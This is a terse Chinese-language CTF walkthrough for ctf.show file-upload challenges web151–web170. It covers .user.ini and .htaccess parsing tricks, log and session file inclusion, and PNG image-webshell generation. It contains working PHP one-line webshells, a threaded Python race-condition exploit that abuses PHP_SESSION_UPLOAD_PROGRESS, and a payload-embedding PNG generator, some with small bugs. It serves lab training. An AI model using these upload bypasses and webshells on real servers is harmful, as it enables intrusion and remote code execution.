Web151
- 只允许上传png的图片,上传之后bp转包改一下内容就好
- 访问1.php
web152
- 同上
web153
在响应包中查看服务器的类型
- 服务器特性
ngnix服务器中有一个.user.ini文件
作用:
auto_prepend_file : 让每一个文件在使用的时候都包含他所指定的文件,并按使用文件的类型解析
比如:auto_prepend_file=1.jpg 当我们在使用index.php的时候就会自动在文件内容前面包含1.jpg,并且把1.jpg当作php文件解析
auto_append_file: 和上面同理,只不过是在文件内容的最后包含
注意:
上述情况在同一目录适用
- 上传
.user.ini
文件
- 上传
1.jpg
最好在1.jpg中包含一句phpinfo()
,检测是否包含成功
- 直接在/upload/index.php执行一句话
web154
- 继续包含
- 继续上传
- 继续执行
web155
继续上传文件包含
执行
web156
- 过滤了
[]
用{}
代替
web157
- 过滤了
;
和{
直接在文件中放入读取flag.php的函数
<?= system(tac ../flag.php);?>
web158
- 继续绕过
web159
- 过滤了
[
和(
- 用反引号代替shell执行
web160
- 过滤了“空格”,“log”,”()”等,选用日志文件包含的形式
web161
- 过滤较多
- 同上
web162
- session文件包含
- 先上传
.user.ini
auto_prepend_file=/tmp/sess_test //test要记住
- 跑脚本
import requests
import io
import threading
ssessID = 'test' //之前的test
url = "http://175fce94-5d4d-4e2f-b297-1f15d7e1d3aa.challenge.ctf.show:8080/"
def write(session):
while event.isSet():
f = io.BytesIO(b'a'*256*1)
response = session.post(
url,
cookies={'PHPSESSID':ssessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("nl ../*.php");?>'}, //要执行的命令
files = {'file':('test.txt',f)}
)
def read(session):
while event.isSet():
response = session.get(url+'upload/index.php'.format(ssessID))
if 'ctfshow{' or 'flag' in response.text:
print(response.text)
event.clear()
else:
print('[*]retring.........')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
web163
- 同上
web164
- png图片二次渲染
png图片分为几个数据块,不同数据块的检测程度不同,主要数据块:IHDR,IDAT, IEND辅助数据块:PLTE
第一种目的: 找到PLTE的冗余数据,修改为php代码,就可以构造png图片马
第二种目的:IDAT中放着png图片的主要信息
1. 计算CRC(冗余数据)的脚本
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
//最后修改CRC的值
- 写入IDTA数据块
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
x
imagepng($img,'./1.png');
?>
直接生成含有
<?=$_GET[0]($_POST[1]);?>
的png图片马上传图片马
有了文件马却找不到执行方式,.user.ini
不再允许上传
- 扫目录,看一下有没有其他的文件,或者点击查看图片,观察url
- 有一个download.php,访问一下
- 根据提示知道需要一个
image
参数
那么就把刚才的图片马down下来
- 根据图片马的参数执行php语句
web165
web166
- 上传zip文件,执行一句话
注意:由于
file=
所以不能用GET方式的一句话蚁剑链接
http://8fa61473-c896-4e9d-aa5e-4226351a1583.challenge.ctf.show:8080/upload/download.php?file=38bb0ee5bf9ec83bea373b2fe6baacd9.zip
Web167
查看响应包是apache的服务器
上传
.htaccess
文件,道理与.user.ini
类似,只不过可以直接修改其他文件的解析形式
AddType application/x-httpd-php .jpg
- 上传一句话
- 直接访问执行
web168
- 同下
web169
- 上传.zip文件,修改为.user.ini
- 上传1.php,修改uA
- 访问/upload/1.php,执行命令
web170
- 同上